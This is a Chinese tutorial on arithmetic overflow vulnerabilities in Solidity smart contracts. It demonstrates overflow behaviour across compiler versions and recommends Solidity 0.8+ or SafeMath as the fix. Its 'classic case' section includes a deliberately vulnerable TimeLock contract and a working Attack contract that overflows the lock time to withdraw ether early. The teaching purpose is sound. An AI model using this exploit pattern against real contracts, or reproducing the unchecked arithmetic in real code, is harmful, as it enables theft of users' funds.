id:BSN_2021 公众号:BSN 研习社 作者:红枣科技张雪良
背景:由于公链环境下所有的信息都是共享的,智能合约相当于是完全透明化,任何人都可以调用,外加一些利益的驱动,导致引发了很多hacker的攻击。其中算术溢出攻击也是常见的攻击方式之一。
目标:带大家认识一下算术溢出漏洞以及解决办法。
适用对象:适用于用Solidity语言开发的智能合约,例如BSN中的武汉链(基于ETH)和泰安链(基于 fisco bcos)上运行的智能合约。
前言
算术溢出(arithmetic overflow)或简称为溢出(overflow)是指在计算机领域里所发生的。运行单项数值计算时,当计算产生出来的结果 大于 寄存器或存储器所能存储或表示的能力限制的情况就称为算术上溢。反之,称为算术下溢。
下面,我们演示一下solidity语言中的算术溢出现象。
代码如下:
pragma solidity ^0.7.0;
// pragma solidity ^0.8.0;
contract Arithmetic {
// 最大值和最小值
function minAndMax() public pure returns (uint8 min,uint8 max){
return (type(uint8).min,type(uint8).max);
}
//上溢
function overflow() public pure returns (uint8){
return type(uint8).max + 1;
}
//下溢
function underflow() public pure returns (uint8){
return type(uint8).min - 1 ;
}
}
注:示例代码可以看出我们使用的是uint8, 在solidity语言中,uint8表示的范围是0 - 255。
另外,需要注意的是 溢出漏洞 在 Solidity中 版本 < 0.8 时溢出时不会报错,当版本>= 0.8 时溢出会报错。
接下来,我们分别使用版本0.7.0和0.8.0进行演示一下。
上图为执行0.7.0版本的运行示例代码,结果如下:
- 调用上溢方法
overflow
,执行代码type(uint8).max + 1
时没有报错,而是返回了计算结果0
。 - 调用下溢方法
underflow
,执行代码type(uint8).min - 1
时没有报错,而是返回了计算结果255
。
上图为执行0.8.0版本的运行示例代码,结果如下:
- 调用上溢方法
overflow
,执行代码type(uint8).max + 1
时vm有报错。 - 调用下溢方法
underflow
,执行代码type(uint8).min - 1
时vm有报错。
另外,0.8.0之后的版本也可以取消默认的溢出校验,使用关键字unchecked
。
代码如下:
// 取消上溢
function overflow_unchecked() public pure returns (uint8){
unchecked{
return type(uint8).max + 1;
}
}
// 取消下溢
function underflow_unchecked() public pure returns (uint8){
unchecked{
return type(uint8).min - 1 ;
}
}
在0.8.0版本的示例代码的中添加上述代码后,运行结果如下:
可以看出跟0.7.0版本运行效果一致,即
- 调用上溢方法
overflow_unchecked
,执行代码type(uint8).max + 1
时没有报错,而是返回了计算结果0
。 - 调用下溢方法
underflow_unchecked
,执行代码type(uint8).min - 1
时没有报错,而是返回了计算结果255
。
经典案例
下面是找了一段经典的存在算术溢出漏洞的合约代码,示例如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
大家可以根据上述的注释信息,自行尝试一下,其关键点就是 “算术溢出” 。
解决方案
我们可以看一下官方的描述:
Checked or Unchecked Arithmetic
An overflow or underflow is the situation where the resulting value of an arithmetic operation, when executed on an unrestricted integer, falls outside the range of the result type.
Prior to Solidity 0.8.0, arithmetic operations would always wrap in case of under- or overflow leading to widespread use of libraries that introduce additional checks.
Since Solidity 0.8.0, all arithmetic operations revert on over- and underflow by default, thus making the use of these libraries unnecessary.
大白话来讲就是:写solidity合约时尽量使用0.8.0版本及以上;如果使用的版本低于0.8.0时,需要是用类似safemath的类库去校验。
今天的讲解到此结束,感谢大家的阅读,如果你有其他的想法或者建议,欢迎一块交流。